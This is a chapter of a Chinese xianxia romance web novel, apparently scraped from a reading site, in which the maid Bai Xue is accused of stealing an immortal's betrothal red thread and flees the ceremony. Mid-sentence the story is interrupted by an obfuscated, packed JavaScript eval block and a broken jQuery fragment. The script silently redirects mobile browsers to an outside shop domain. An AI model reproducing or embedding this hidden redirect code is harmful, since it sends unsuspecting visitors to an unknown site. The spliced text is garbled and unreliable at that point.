“请问,千瑜在哪里?”
夜幕低垂,这宴上已经走了不少人,虽说宴会连续三天,但到了晚上,仙侍们也到了休息的时候——
“青阳宫的?她不在,你是?”
“我是青阳宫的白雪,她去哪了?”
白雪?青阳宫的那个?
闻言一旁忙碌着的仙侍们纷纷停住,脚步未停,但眼神都对在了一起。
“就是她就是她,之前勾引玄曜仙君的那个侍女,欸她怎么也在这。”
“还是个妖怪呢!原来长这样……哼,也配。”
“嘘,小声点。”
细碎的议论声响起,白雪却神情平静,站定间看向面前人,“请问,千瑜去哪里了?”
“啊,咳,”
被白雪问的那个仙侍顿了下,“她好像早回去了,去哪了我们也不知道。”
瑶池宴会的仙侍在宴会期间有专门休息的地方,并不回自己原来侍奉的宫殿——白雪今日是被千瑜带过来的,具体的规矩她也不太清楚。
“不过明日这里还需要她,你想找她的话,可以等等。”
“好。”
白雪本想再问,但看了看周遭后又抿唇,最终只道,“谢谢。”
那仙侍闻言打量她几眼,摆摆手走了,白雪也安静的走到了角落,渐渐的,那些若有似无的议论声也没了。
——“小雪小雪,我们现在做什么呀?”
“等,”
夜渐渐深,旁边的人也越来越少了,白雪寻了个角落安静坐着,月光落下,女子在心里道,“等到明天就好了。”
——“明天,我们就走了吗?”
“对呀,明天这个时候,我们就能到人间了吧。”
婉桃说了,要白雪明天早上去归墟殿——那是处悬浮于云海的平台,空旷的广场中只有一尊巨大的昆仑母神像,传说其后才是真正的神殿,但那里云雾深重,无人能进。
往常那地方是不让人去的,只是这一次天帝与圣母有意众神见证这场定婚,故而允许众人进入,而等明日定婚结束,白雪便能跟着婉桃去往玄天,离开这里了。
“熬过今夜就好了。”
月光落了长长的霜,白雪抱腿坐着,静静抿唇,“熬过今夜。”
“小雪,人间,好玩吗?”
“不好玩。”
“那为什么要去呀?”
“我只是……”
女子抬头,望着远方日升月转,星辰欲落,天光一线。
“有点想家。”
……
第二日,归墟殿。
“怎么还没有人来?”
“是啊,这都多久了,这,红媒仙人不来,清莲仙子怎么也……”
“诶先看看,这么多人都在呢……”
今日主角是这对未婚夫妻,故而天帝圣母并未出席,归墟殿前,巨大的女神像巍峨矗立,日月山海的符号深印在石台之上,那是昆仑的符号和印记,上为日月,下为海流,中间,便是昆仑山影——万年在此,寓意母神创世,天地无量。
众人皆聚此地,日光渐起,只见玄曜一身白衣冷峻站在最前,身旁却是空无一人。
都快中午了,这清莲仙子还没有到,明明昨日宴会还在,再者,清莲不在便罢了,那本该送上二人红线的红媒仙人竟也未到?
“呵,这仙界成婚,老子还以为多厉害呢,还得定婚的,这等了半天也没人啊!”
一不屑声传出,众人望去,原是妖界那个虎妖,“看什么看,本来就没人——嗷!”
辛夷狠狠瞪了刹虎一眼,低骂道,“这是归墟殿,母神所在,闭嘴吧你!”
仙界他们看不上,昆仑母神总是要尊的。
“切……”虎妖嗤了声,一个雕像也怕,他不屑的白眼,但好歹闭了嘴。
他是闭嘴了,但其他人也渐渐议论起来,最前的玄曜垂眸,青年侧身看了看身后的厉图,厉图也皱眉,“我去找清莲。”
“欸……”
不远处婉桃提步,她看着厉图的背影顿了下,最终想了想又笑,算了,今日她还要送白雪下凡,之后有话再和他说吧——
说到白雪,婉桃用眼神搜寻了下,最终看向人群末尾那个一身白衣的女子。
……白雪畏畏缩缩的真藏在最后,也不知道再躲谁。
婉桃瞟了她好几眼,终于瞧见了白雪对自己眨眼,然后自己也不自觉眨眨眼回应,又似乎意识到自己态度太好了,又翻了个白眼。
白雪:“……”
"不好了!不好了!"
伴着一高声传来,众人纷纷望去,一个白发白须,背着红绳袋的人匆匆忙忙赶来,
“红,红线,被偷了!”
什么?!
玄曜快步走到他面前,“你什么意思?”
“红线不见了!”
红媒仙人缓和着气息,赶忙道,“仙君,您的红线小仙找了一夜,它,它,不见了啊!”
“荒唐,”有上神皱眉道,“玄曜仙君的红线应被你亲自所司,若是失窃,怎么会现在才知!”
红媒闻言解释道,“前几日小仙的一个徒弟在夜间打了个盹,醒来后那红绳架便乱了,他点了几下以为齐了,却不知道仙君的红线并不在架中,等小仙昨夜去看,便是已不见了——”
“绝对是那夜有人行窃,是小仙失职啊!”
不知何人问道,“红媒老儿,你那徒弟什么时候打的盹?”
“宴会两天前!”
这,宴会开始前几天,已有不少人来到仙界了啊……
红媒仙人见状着急叹了下,道,“但小仙依然有所感应,那红线,应还在仙界!”
还在?
玄曜神情不变,只是淡道,“那你可能找到?”
“这,具体到人小仙感觉不到,只是从方位来看,”
红媒皱眉,自手中勾勒红色灵气,“似乎,就在此处?”
就在此处?有人皱眉高声道,“什么意思,是怀疑我们偷的?”
“欸你看我做什么,我一老虎偷你们仙界红线干嘛,我们妖怪不用这玩意好吧!”
“……反正不是我。”
“行了行了,”有人看热闹不嫌事大,“早闻玄曜仙君和清莲仙子二人仙界翘楚,莫不是哪个的爱慕者做了蠢事?”
“什么红线不红线的,清莲仙子还未到呢,这婚,还真有意思。”
玄曜红线失窃,清莲至今未到,母神像静然而立,似乎并不看好这两人啊。
一时间众人议论纷纷,在队伍最后的白雪手心却莫名发热,她后退几步,只感觉心跳加快,脑海里的剧情不断和眼前场面融合,可她想来想去,又只觉得奇怪至极。
为什么,为什么红线还是被偷了,她什么都没有做,那红线又是被谁偷的?
“莫慌莫慌!”
红媒高声道,他昨夜至今日一直在想法子,又审问了自己所有弟子,弄清了当夜事实,
“当夜我那弟子糊涂,打盹时似乎看见了一虚影,但醒来后来又毫无气息——那人要么修为高深,要么,便是有什么能够隐匿气息的灵器。”
他月下仙府也不是吃素的,怎么可能随随便便一个人就能去偷红线,况且弟子感觉不到,他自己当夜也毫无所察,可见那人有备而来!
玄曜皱眉,“你要用灵器追踪?”
灵器追踪,是个仙人找物常见的法子——只要是自己常用的东西,便都有了感应,或者,只要有一件灵器
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653478|206406||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的一角,也能以不全找全,以气息追踪。
“不错!”红媒仙人摸了摸胡子,“经小老儿我仔细查找,月下仙府内果然有一角碎玉,那绝非小仙之物,想来是那小偷行事慌张,修为也并非上乘,故而驾驭上等灵器时也能跌破一角!”
“碎玉?”
“空刻之玉。”
有人皱眉,空刻玉,实际上是出自魔界南海的一种矿石头,近乎透明,极稀有极难取——用作灵器隐匿气息,难怪红媒到现在才发现东西被偷了。
“别说那么多了,”是婉桃有些着急了,姐姐和厉图都不在,玄曜这里又出了事情,不知怎么的她也有些心慌,看向红媒道,
“你不是说能找到吗,那就快找吧,那人想来就在这!”
红媒仙人闻言立刻伸手,一块小小的碎玉浮空,玄曜静静看了几秒,抬手挥袖——
“噗!”
众人循声望去,角落里一白衣女子跌落在地,口中吐出鲜血,见状,似乎也正是要离开归墟殿!
“怎么会……”
婉桃低呼一声,玄曜手中一紧,刚想动作间红媒气愤的指向她,
“就是你!那灵器的主人是你!多年轻的女娃娃啊,怎么这样糊涂!”
“嘶,还是个妖怪!”
“她,我知道她,她不是玄曜仙君宫里的嘛……”
“早有传言说爱慕仙君的女仙众多,如今看来真是没错哈哈哈……”
“就是她,我听说就是她喜欢玄曜仙君,还胆大勾引过呢,宫里的仙侍都这么说……”
不,不是她,她没有。
什么狗屁红线,她明明见都没见过!
白雪用袖子抹去嘴角溢出的鲜血,强撑着站起来,“不是我……我没有偷红线……”
众人越发议论,她无措至极,恍然间又隔着人群望向中央处的玄曜摇头,“不是我!真的不是我!我没有拿什么红线!”
“仙君的灵器追踪绝不可能有错!”
“就是,果然是妖族,居然能在仙界待这么久!”
“欸妖族怎么了,你给老子好好说话!”
“……”
“你无需狡辩,只待我用灵力测验,你身上有没有红线,一探便知!”
眼见情况越发乱了,红媒指向白雪,“这世间的红线我俱有感应,你敢验上一验吗?”
众人安静下来,不知何时让出一条道路,白雪不觉后退几步,但她最终停住,看向红媒仙人倔强道,“真的不是我!”
“那便让我好好看看吧!”
红媒话罢伸手,红色丝线轻扬间即将涌向女子,忽然一道玄金灵气穿切过红线,其速之快叫众人一惊!
“这是……仙君!”
玄曜抬眸,神情冰冷,“既是我的人,便不用仙人来验了。”
“可是,”红媒上前一步,却忽有所觉。
“你们快看!”
不知何时白衣女子袖中溢血,她茫然抬起自己的手腕——
一道神秘的红色长纹自她腕中蜿蜒,像是血管纹路般一路生长至手心,似乎是线,但又带着奇怪而美丽的花纹,一瞬的功夫,便是手心三线俱赤绽放,最终合一延停至尾指,勾勒出戒影。
“那是,红线吗……”
所有人都沉默下来,白雪却忽然笑了,“如果我说,我这是袖子炸线了,你们会信吗?”
“抓住她!”
伴随着一声不知从何而来的声音,白雪瞳孔紧缩间跨步转身便拼了命奔跑,有人随手给她一击,女子踉跄中腰间微松,但她并未察觉,只是回头尽力挥手——
一道红色灵气挥开身后所有攻击,一瞬之内女子跃过云台,离开了归墟殿!
“别让她跑了!”